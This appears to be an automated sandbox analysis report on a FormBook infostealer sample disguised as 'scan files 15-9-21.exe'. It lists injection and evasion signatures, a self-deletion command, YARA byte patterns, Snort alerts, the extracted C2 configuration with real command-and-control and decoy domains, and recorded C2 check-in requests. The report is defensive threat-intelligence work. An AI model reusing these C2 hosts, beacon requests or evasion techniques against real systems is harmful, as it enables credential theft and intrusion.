Loading ...

Play interactive tourEdit tour

Windows Analysis Report scan files 15-9-21.exe

Overview

General Information

Sample Name:scan files 15-9-21.exe
Analysis ID:483582
MD5:00e32d8a2cbd54e967bfc8f512086ecf
SHA1:f51b70a2117089a87b0daf6f179a3b492acf58f2
SHA256:36d409b61a0f456cb3e593338ebf2db1fae38ea645392d98030bc7e7a0eb9a3c
Tags:exeFormbookxloader
Infos:

Most interesting Screenshot:

Detection

FormBook
Score:100
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Found malware configuration
Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)
Multi AV Scanner detection for submitted file
Yara detected FormBook
Malicious sample detected (through community Yara rule)
Yara detected AntiVM3
System process connects to network (likely due to code injection or exploit)
Sample uses process hollowing technique
Maps a DLL or memory area into another process
Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)
Machine Learning detection for sample
Self deletion via cmd delete
.NET source code contains potential unpacker
Injects a PE file into a foreign processes
Queues an APC in another process (thread injection)
.NET source code contains very large strings
Tries to detect virtualization through RDTSC time measurements
Modifies the context of a thread in another process (thread injection)
C2 URLs / IPs found in malware configuration
Uses 32bit PE files
Queries the volume information (name, serial number etc) of a device
Yara signature match
Antivirus or Machine Learning detection for unpacked file
May sleep (evasive loops) to hinder dynamic analysis
Uses code obfuscation techniques (call, push, ret)
Internet Provider seen in connection with other malware
Detected potential crypto function
Found potential string decryption / allocating functions
Sample execution stops while process was sleeping (likely an evasion)
Contains functionality to call native functions
HTTP GET or POST without a user agent
Contains functionality for execution timing, often used to detect debuggers
Contains long sleeps (>= 3 min)
Enables debug privileges
Found inlined nop instructions (likely shell or obfuscated code)
Sample file is different than original file name gathered from version info
Contains functionality to read the PEB
Checks if the current process is being debugged
Binary contains a suspicious time stamp
Creates a process in suspended mode (likely to inject code)
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Classification

Process Tree

  • System is w10x64
  • scan files 15-9-21.exe (PID: 6752 cmdline: 'C:\Users\user\Desktop\scan files 15-9-21.exe' MD5: 00E32D8A2CBD54E967BFC8F512086ECF)
    • scan files 15-9-21.exe (PID: 6920 cmdline: C:\Users\user\Desktop\scan files 15-9-21.exe MD5: 00E32D8A2CBD54E967BFC8F512086ECF)
      • explorer.exe (PID: 3292 cmdline: C:\Windows\Explorer.EXE MD5: AD5296B280E8F522A8A897C96BAB0E1D)
        • WWAHost.exe (PID: 4068 cmdline: C:\Windows\SysWOW64\WWAHost.exe MD5: 370C260333EB3149EF4E49C8F64652A0)
          • cmd.exe (PID: 5336 cmdline: /c del 'C:\Users\user\Desktop\scan files 15-9-21.exe' MD5: F3BDBE3BB6F734E357235F4D5898582D)
            • conhost.exe (PID: 2752 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)
  • cleanup

Malware Configuration

Threatname: FormBook

{"C2 list": ["www.lifewithbriana.com/mej0/"], "decoy": ["mtxs8.com", "quickskiplondon.com", "sltplanner.com", "generatedate.com", "amsinspections.com", "tomrings.com", "109friends.com", "freelovereading.com", "avalapartners.com", "nordiqueluxury.com", "inmbex.com", "everybankatm.com", "bo1899.com", "ashymeadow.com", "pubgm-chickendinner.com", "takudolunch.com", "carlagremiao.com", "actonetheatre.com", "wemhealth.com", "khasomat.net", "lartiqueusa.com", "singularity.institute", "ashsgx567d.com", "sequoiaparts.net", "ujriksalead.com", "ag99.xyz", "isabeltimon.com", "bijyo-topic.site", "homefuels.energy", "2ofakinddesigns.com", "iggglobal.com", "ravenlightproductions.com", "magicaltransform.com", "2936vaquero.com", "essentialme.network", "thebrathouse.info", "tecstrong.net", "ayulaksmi.com", "maximebazerque.com", "bankdj.com", "pizzaoff.com", "eastcohemp.com", "acordolimpo.com", "mediacpstreamchile.com", "wholesalefleuerdelis.com", "chuangyuanfz.com", "getcenteredwithclay.com", "retaboo.com", "ikonicboatcharters.com", "parakhonskiy.com", "tropical-therapy.com", "metropitstop.com", "municipiodeanton.net", "valorplanodesaudemaranhao.info", "alibabakanaat.com", "creditsoptionsnow.com", "arabgerman.digital", "webspazio.com", "sunsyncindia.com", "jlsolutionspty.com", "almightyamerican.com", "nadirshirts.com", "gdxinmu.com", "postcaremedical.com"]}

Yara Overview

Memory Dumps

SourceRuleDescriptionAuthorStrings
00000002.00000002.342717924.00000000015D0000.00000040.00020000.sdmpJoeSecurity_FormBookYara detected FormBookJoe Security
    00000002.00000002.342717924.00000000015D0000.00000040.00020000.sdmpFormbook_1autogenerated rule brought to you by yara-signatorFelix Bilstein - yara-signator at cocacoding dot com
    • 0x85e8:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC
    • 0x8982:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC
    • 0x14695:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94
    • 0x14181:$sequence_2: 3B 4F 14 73 95 85 C9 74 91
    • 0x14797:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F
    • 0x1490f:$sequence_4: 5D C3 8D 50 7C 80 FA 07
    • 0x939a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06
    • 0x133fc:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8
    • 0xa112:$sequence_7: 66 89 0C 02 5B 8B E5 5D
    • 0x19787:$sequence_8: 3C 54 74 04 3C 74 75 F4
    • 0x1a82a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
    00000002.00000002.342717924.00000000015D0000.00000040.00020000.sdmpFormbookdetect Formbook in memoryJPCERT/CC Incident Response Group
    • 0x166b9:$sqlite3step: 68 34 1C 7B E1
    • 0x167cc:$sqlite3step: 68 34 1C 7B E1
    • 0x166e8:$sqlite3text: 68 38 2A 90 C5
    • 0x1680d:$sqlite3text: 68 38 2A 90 C5
    • 0x166fb:$sqlite3blob: 68 53 D8 7F 8C
    • 0x16823:$sqlite3blob: 68 53 D8 7F 8C
    00000002.00000002.340222255.0000000000400000.00000040.00000001.sdmpJoeSecurity_FormBookYara detected FormBookJoe Security
      00000002.00000002.340222255.0000000000400000.00000040.00000001.sdmpFormbook_1autogenerated rule brought to you by yara-signatorFelix Bilstein - yara-signator at cocacoding dot com
      • 0x85e8:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC
      • 0x8982:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC
      • 0x14695:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94
      • 0x14181:$sequence_2: 3B 4F 14 73 95 85 C9 74 91
      • 0x14797:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F
      • 0x1490f:$sequence_4: 5D C3 8D 50 7C 80 FA 07
      • 0x939a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06
      • 0x133fc:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8
      • 0xa112:$sequence_7: 66 89 0C 02 5B 8B E5 5D
      • 0x19787:$sequence_8: 3C 54 74 04 3C 74 75 F4
      • 0x1a82a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
      Click to see the 24 entries

      Unpacked PEs

      SourceRuleDescriptionAuthorStrings
      2.2.scan files 15-9-21.exe.400000.0.unpackJoeSecurity_FormBookYara detected FormBookJoe Security
        2.2.scan files 15-9-21.exe.400000.0.unpackFormbook_1autogenerated rule brought to you by yara-signatorFelix Bilstein - yara-signator at cocacoding dot com
        • 0x77e8:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC
        • 0x7b82:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC
        • 0x13895:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94
        • 0x13381:$sequence_2: 3B 4F 14 73 95 85 C9 74 91
        • 0x13997:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F
        • 0x13b0f:$sequence_4: 5D C3 8D 50 7C 80 FA 07
        • 0x859a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06
        • 0x125fc:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8
        • 0x9312:$sequence_7: 66 89 0C 02 5B 8B E5 5D
        • 0x18987:$sequence_8: 3C 54 74 04 3C 74 75 F4
        • 0x19a2a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
        2.2.scan files 15-9-21.exe.400000.0.unpackFormbookdetect Formbook in memoryJPCERT/CC Incident Response Group
        • 0x158b9:$sqlite3step: 68 34 1C 7B E1
        • 0x159cc:$sqlite3step: 68 34 1C 7B E1
        • 0x158e8:$sqlite3text: 68 38 2A 90 C5
        • 0x15a0d:$sqlite3text: 68 38 2A 90 C5
        • 0x158fb:$sqlite3blob: 68 53 D8 7F 8C
        • 0x15a23:$sqlite3blob: 68 53 D8 7F 8C
        2.2.scan files 15-9-21.exe.400000.0.raw.unpackJoeSecurity_FormBookYara detected FormBookJoe Security
          2.2.scan files 15-9-21.exe.400000.0.raw.unpackFormbook_1autogenerated rule brought to you by yara-signatorFelix Bilstein - yara-signator at cocacoding dot com
          • 0x85e8:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC
          • 0x8982:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC
          • 0x14695:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94
          • 0x14181:$sequence_2: 3B 4F 14 73 95 85 C9 74 91
          • 0x14797:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F
          • 0x1490f:$sequence_4: 5D C3 8D 50 7C 80 FA 07
          • 0x939a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06
          • 0x133fc:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8
          • 0xa112:$sequence_7: 66 89 0C 02 5B 8B E5 5D
          • 0x19787:$sequence_8: 3C 54 74 04 3C 74 75 F4
          • 0x1a82a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
          Click to see the 1 entries

          Sigma Overview

          No Sigma rule has matched

          Jbx Signature Overview

          Click to jump to signature section

          Show All Signature Results

          AV Detection:

          barindex
          Found malware configurationShow sources
          Source: 00000002.00000002.342717924.00000000015D0000.00000040.00020000.sdmpMalware Configuration Extractor: FormBook {"C2 list": ["www.lifewithbriana.com/mej0/"], "decoy": ["mtxs8.com", "quickskiplondon.com", "sltplanner.com", "generatedate.com", "amsinspections.com", "tomrings.com", "109friends.com", "freelovereading.com", "avalapartners.com", "nordiqueluxury.com", "inmbex.com", "everybankatm.com", "bo1899.com", "ashymeadow.com", "pubgm-chickendinner.com", "takudolunch.com", "carlagremiao.com", "actonetheatre.com", "wemhealth.com", "khasomat.net", "lartiqueusa.com", "singularity.institute", "ashsgx567d.com", "sequoiaparts.net", "ujriksalead.com", "ag99.xyz", "isabeltimon.com", "bijyo-topic.site", "homefuels.energy", "2ofakinddesigns.com", "iggglobal.com", "ravenlightproductions.com", "magicaltransform.com", "2936vaquero.com", "essentialme.network", "thebrathouse.info", "tecstrong.net", "ayulaksmi.com", "maximebazerque.com", "bankdj.com", "pizzaoff.com", "eastcohemp.com", "acordolimpo.com", "mediacpstreamchile.com", "wholesalefleuerdelis.com", "chuangyuanfz.com", "getcenteredwithclay.com", "retaboo.com", "ikonicboatcharters.com", "parakhonskiy.com", "tropical-therapy.com", "metropitstop.com", "municipiodeanton.net", "valorplanodesaudemaranhao.info", "alibabakanaat.com", "creditsoptionsnow.com", "arabgerman.digital", "webspazio.com", "sunsyncindia.com", "jlsolutionspty.com", "almightyamerican.com", "nadirshirts.com", "gdxinmu.com", "postcaremedical.com"]}
          Multi AV Scanner detection for submitted fileShow sources
          Source: scan files 15-9-21.exeVirustotal: Detection: 29%Perma Link
          Source: scan files 15-9-21.exeReversingLabs: Detection: 26%
          Yara detected FormBookShow sources
          Source: Yara matchFile source: 2.2.scan files 15-9-21.exe.400000.0.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 2.2.scan files 15-9-21.exe.400000.0.raw.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 00000002.00000002.342717924.00000000015D0000.00000040.00020000.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000002.00000002.340222255.0000000000400000.00000040.00000001.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000003.00000000.296739231.000000000E0BC000.00000040.00020000.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000003.00000000.316398859.000000000E0BC000.00000040.00020000.sdmp, type: MEMORY
          Source: Yara matchFile source: 0000000D.00000002.520331838.0000000000870000.00000040.00020000.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000002.00000002.342785187.0000000001600000.00000040.00020000.sdmp, type: MEMORY
          Source: Yara matchFile source: 0000000D.00000002.520884940.0000000000A80000.00000040.00020000.sdmp, type: MEMORY
          Source: Yara matchFile source: 0000000D.00000002.521187644.0000000000B00000.00000004.00000001.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000000.00000002.262326263.0000000003979000.00000004.00000001.sdmp, type: MEMORY
          Machine Learning detection for sampleShow sources
          Source: scan files 15-9-21.exeJoe Sandbox ML: detected
          Source: 2.2.scan files 15-9-21.exe.400000.0.unpackAvira: Label: TR/Crypt.ZPACK.Gen
          Source: scan files 15-9-21.exeStatic PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE
          Source: scan files 15-9-21.exeStatic PE information: NO_SEH, TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT
          Source: Binary string: WWAHost.pdb source: scan files 15-9-21.exe, 00000002.00000003.335101550.0000000003940000.00000004.00000001.sdmp
          Source: Binary string: WWAHost.pdbUGP source: scan files 15-9-21.exe, 00000002.00000003.335101550.0000000003940000.00000004.00000001.sdmp
          Source: Binary string: wntdll.pdbUGP source: scan files 15-9-21.exe, 00000002.00000002.343119287.0000000001AC0000.00000040.00000001.sdmp, WWAHost.exe, 0000000D.00000002.525382273.0000000003640000.00000040.00000001.sdmp
          Source: Binary string: wntdll.pdb source: scan files 15-9-21.exe, 00000002.00000002.343119287.0000000001AC0000.00000040.00000001.sdmp, WWAHost.exe
          Source: C:\Users\user\Desktop\scan files 15-9-21.exeCode function: 4x nop then pop ebx2_2_00406A97
          Source: C:\Users\user\Desktop\scan files 15-9-21.exeCode function: 4x nop then pop edi2_2_00415692
          Source: C:\Windows\SysWOW64\WWAHost.exeCode function: 4x nop then pop ebx13_2_00876A97
          Source: C:\Windows\SysWOW64\WWAHost.exeCode function: 4x nop then pop edi13_2_00885692

          Networking:

          barindex
          Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)Show sources
          Source: TrafficSnort IDS: 2031453 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.7:49777 -> 34.98.99.30:80
          Source: TrafficSnort IDS: 2031449 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.7:49777 -> 34.98.99.30:80
          Source: TrafficSnort IDS: 2031412 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.7:49777 -> 34.98.99.30:80
          Source: TrafficSnort IDS: 2031453 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.7:49779 -> 35.237.65.63:80
          Source: TrafficSnort IDS: 2031449 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.7:49779 -> 35.237.65.63:80
          Source: TrafficSnort IDS: 2031412 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.7:49779 -> 35.237.65.63:80
          Source: TrafficSnort IDS: 2031453 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.7:49785 -> 99.83.154.118:80
          Source: TrafficSnort IDS: 2031449 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.7:49785 -> 99.83.154.118:80
          Source: TrafficSnort IDS: 2031412 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.7:49785 -> 99.83.154.118:80
          System process connects to network (likely due to code injection or exploit)Show sources
          Source: C:\Windows\explorer.exeDomain query: www.valorplanodesaudemaranhao.info
          Source: C:\Windows\explorer.exeNetwork Connect: 172.67.196.84 80Jump to behavior
          Source: C:\Windows\explorer.exeDomain query: www.everybankatm.com
          Source: C:\Windows\explorer.exeDomain query: www.nordiqueluxury.com
          Source: C:\Windows\explorer.exeDomain query: www.quickskiplondon.com
          Source: C:\Windows\explorer.exeNetwork Connect: 34.98.99.30 80Jump to behavior
          Source: C:\Windows\explorer.exeDomain query: www.singularity.institute
          Source: C:\Windows\explorer.exeDomain query: www.parakhonskiy.com
          Source: C:\Windows\explorer.exeDomain query: www.lifewithbriana.com
          Source: C:\Windows\explorer.exeNetwork Connect: 35.237.65.63 80Jump to behavior
          Source: C:\Windows\explorer.exeNetwork Connect: 84.34.147.60 80Jump to behavior
          Source: C:\Windows\explorer.exeDomain query: www.municipiodeanton.net
          C2 URLs / IPs found in malware configurationShow sources
          Source: Malware configuration extractorURLs: www.lifewithbriana.com/mej0/
          Source: Joe Sandbox ViewASN Name: CLOUDFLARENETUS CLOUDFLARENETUS
          Source: Joe Sandbox ViewASN Name: TSF-IP-CORETeliaFinlandOyjEU TSF-IP-CORETeliaFinlandOyjEU
          Source: global trafficHTTP traffic detected: GET /mej0/?ZTSpa=l0iLI2tDMbyWX17YzQI3VU6Ovc+Srds2u4QKsmMGezHC91xioYtP6wjZJcIMhpUbXqNeFFgVfw==&vP=JtCxKN HTTP/1.1Host: www.nordiqueluxury.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
          Source: global trafficHTTP traffic detected: GET /mej0/?ZTSpa=JBp6XH2M4Q0SiKTdqMGnH1VhHOjyZ1YS2BfWCv8a5VwMthBJctfaCfrdZAs0prUxB4i8ziLjxQ==&vP=JtCxKN HTTP/1.1Host: www.valorplanodesaudemaranhao.infoConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
          Source: global trafficHTTP traffic detected: GET /mej0/?ZTSpa=KB5aME/wLlFyZRHVaeByRa16oaYSLG5vTwTmPkRiuCF7mWnEGcyzal0mWpntA1EdT4HAAexMQQ==&vP=JtCxKN HTTP/1.1Host: www.municipiodeanton.netConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
          Source: global trafficHTTP traffic detected: GET /mej0/?ZTSpa=a/1Q0lHImOSlB3OMiE52M5irpU60+rDCM9jGEsCAFmqZfqxrPXb+yY2uJ0P5II+wgFq1rM2W6g==&vP=JtCxKN HTTP/1.1Host: www.quickskiplondon.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
          Source: global trafficHTTP traffic detected: GET /mej0/?ZTSpa=RzUuUNIP5w6/jz6u/3nPHL71H0tFSqxvyYqd1E+XwjP7nDbVm/SW3vaLh5vwv8/S3nR/rxiqcA==&vP=JtCxKN HTTP/1.1Host: www.singularity.instituteConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
          Source: explorer.exe, 00000003.00000000.270733342.000000000686B000.00000004.00000001.sdmpString found in binary or memory: http://www.autoitscript.com/autoit3/J
          Source: unknownDNS traffic detected: queries for: www.parakhonskiy.com
          Source: global trafficHTTP traffic detected: GET /mej0/?ZTSpa=l0iLI2tDMbyWX17YzQI3VU6Ovc+Srds2u4QKsmMGezHC91xioYtP6wjZJcIMhpUbXqNeFFgVfw==&vP=JtCxKN HTTP/1.1Host: www.nordiqueluxury.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
          Source: global trafficHTTP traffic detected: GET /mej0/?ZTSpa=JBp6XH2M4Q0SiKTdqMGnH1VhHOjyZ1YS2BfWCv8a5VwMthBJctfaCfrdZAs0prUxB4i8ziLjxQ==&vP=JtCxKN HTTP/1.1Host: www.valorplanodesaudemaranhao.infoConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
          Source: global trafficHTTP traffic detected: GET /mej0/?ZTSpa=KB5aME/wLlFyZRHVaeByRa16oaYSLG5vTwTmPkRiuCF7mWnEGcyzal0mWpntA1EdT4HAAexMQQ==&vP=JtCxKN HTTP/1.1Host: www.municipiodeanton.netConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
          Source: global trafficHTTP traffic detected: GET /mej0/?ZTSpa=a/1Q0lHImOSlB3OMiE52M5irpU60+rDCM9jGEsCAFmqZfqxrPXb+yY2uJ0P5II+wgFq1rM2W6g==&vP=JtCxKN HTTP/1.1Host: www.quickskiplondon.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
          Source: global trafficHTTP traffic detected: GET /mej0/?ZTSpa=RzUuUNIP5w6/jz6u/3nPHL71H0tFSqxvyYqd1E+XwjP7nDbVm/SW3vaLh5vwv8/S3nR/rxiqcA==&vP=JtCxKN HTTP/1.1Host: www.singularity.instituteConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:

          E-Banking Fraud:

          barindex
          Yara detected FormBookShow sources
          Source: Yara matchFile source: 2.2.scan files 15-9-21.exe.400000.0.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 2.2.scan files 15-9-21.exe.400000.0.raw.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 00000002.00000002.342717924.00000000015D0000.00000040.00020000.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000002.00000002.340222255.0000000000400000.00000040.00000001.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000003.00000000.296739231.000000000E0BC000.00000040.00020000.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000003.00000000.316398859.000000000E0BC000.00000040.00020000.sdmp, type: MEMORY
          Source: Yara matchFile source: 0000000D.00000002.520331838.0000000000870000.00000040.00020000.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000002.00000002.342785187.0000000001600000.00000040.00020000.sdmp, type: MEMORY
          Source: Yara matchFile source: 0000000D.00000002.520884940.0000000000A80000.00000040.00020000.sdmp, type: MEMORY
          Source: Yara matchFile source: 0000000D.00000002.521187644.0000000000B00000.00000004.00000001.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000000.00000002.262326263.0000000003979000.00000004.00000001.sdmp, type: MEMORY

          System Summary:

          barindex
          Malicious sample detected (through community Yara rule)Show sources
          Source: 2.2.scan files 15-9-21.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
          Source: 2.2.scan files 15-9-21.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
          Source: 2.2.scan files 15-9-21.exe.400000.0.raw.unpack, type: UNPACKEDPEMatched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
          Source: 2.2.scan files 15-9-21.exe.400000.0.raw.unpack, type: UNPACKEDPEMatched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
          Source: 00000002.00000002.342717924.00000000015D0000.00000040.00020000.sdmp, type: MEMORYMatched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
          Source: 00000002.00000002.342717924.00000000015D0000.00000040.00020000.sdmp, type: MEMORYMatched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
          Source: 00000002.00000002.340222255.0000000000400000.00000040.00000001.sdmp, type: MEMORYMatched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
          Source: 00000002.00000002.340222255.0000000000400000.00000040.00000001.sdmp, type: MEMORYMatched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
          Source: 00000003.00000000.296739231.000000000E0BC000.00000040.00020000.sdmp, type: MEMORYMatched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
          Source: 00000003.00000000.296739231.000000000E0BC000.00000040.00020000.sdmp, type: MEMORYMatched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
          Source: 00000003.00000000.316398859.000000000E0BC000.00000040.00020000.sdmp, type: MEMORYMatched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
          Source: 00000003.00000000.316398859.000000000E0BC000.00000040.00020000.sdmp, type: MEMORYMatched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
          Source: 0000000D.00000002.520331838.0000000000870000.00000040.00020000.sdmp, type: MEMORYMatched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
          Source: 0000000D.00000002.520331838.0000000000870000.00000040.00020000.sdmp, type: MEMORYMatched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
          Source: 00000002.00000002.342785187.0000000001600000.00000040.00020000.sdmp, type: MEMORYMatched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
          Source: 00000002.00000002.342785187.0000000001600000.00000040.00020000.sdmp, type: MEMORYMatched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
          Source: 0000000D.00000002.520884940.0000000000A80000.00000040.00020000.sdmp, type: MEMORYMatched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
          Source: 0000000D.00000002.520884940.0000000000A80000.00000040.00020000.sdmp, type: MEMORYMatched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
          Source: 0000000D.00000002.521187644.0000000000B00000.00000004.00000001.sdmp, type: MEMORYMatched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
          Source: 0000000D.00000002.521187644.0000000000B00000.00000004.00000001.sdmp, type: MEMORYMatched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
          Source: 00000000.00000002.262326263.0000000003979000.00000004.00000001.sdmp, type: MEMORYMatched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
          Source: 00000000.00000002.262326263.0000000003979000.00000004.00000001.sdmp, type: MEMORYMatched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
          .NET source code contains very large stringsShow sources
          Source: scan files 15-9-21.exe, Forms/mainForm.csLong String: Length: 38272
          Source: 0.0.scan files 15-9-21.exe.580000.0.unpack, Forms/mainForm.csLong String: Length: 38272
          Source: 0.2.scan files 15-9-21.exe.580000.0.unpack, Forms/mainForm.csLong String: Length: 38272
          Source: 2.2.scan files 15-9-21.exe.fd0000.1.unpack, Forms/mainForm.csLong String: Length: 38272
          Source: 2.0.scan files 15-9-21.exe.fd0000.0.unpack, Forms/mainForm.csLong String: Length: 38272
          Source: scan files 15-9-21.exeStatic PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE
          Source: 2.2.scan files 15-9-21.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
          Source: 2.2.scan files 15-9-21.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
          Source: 2.2.scan files 15-9-21.exe.400000.0.raw.unpack, type: UNPACKEDPEMatched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
          Source: 2.2.scan files 15-9-21.exe.400000.0.raw.unpack, type: UNPACKEDPEMatched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
          Source: 00000002.00000002.342717924.00000000015D0000.00000040.00020000.sdmp, type: MEMORYMatched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
          Source: 00000002.00000002.342717924.00000000015D0000.00000040.00020000.sdmp, type: MEMORYMatched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
          Source: 00000002.00000002.340222255.0000000000400000.00000040.00000001.sdmp, type: MEMORYMatched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
          Source: 00000002.00000002.340222255.0000000000400000.00000040.00000001.sdmp, type: MEMORYMatched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
          Source: 00000003.00000000.296739231.000000000E0BC000.00000040.00020000.sdmp, type: MEMORYMatched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
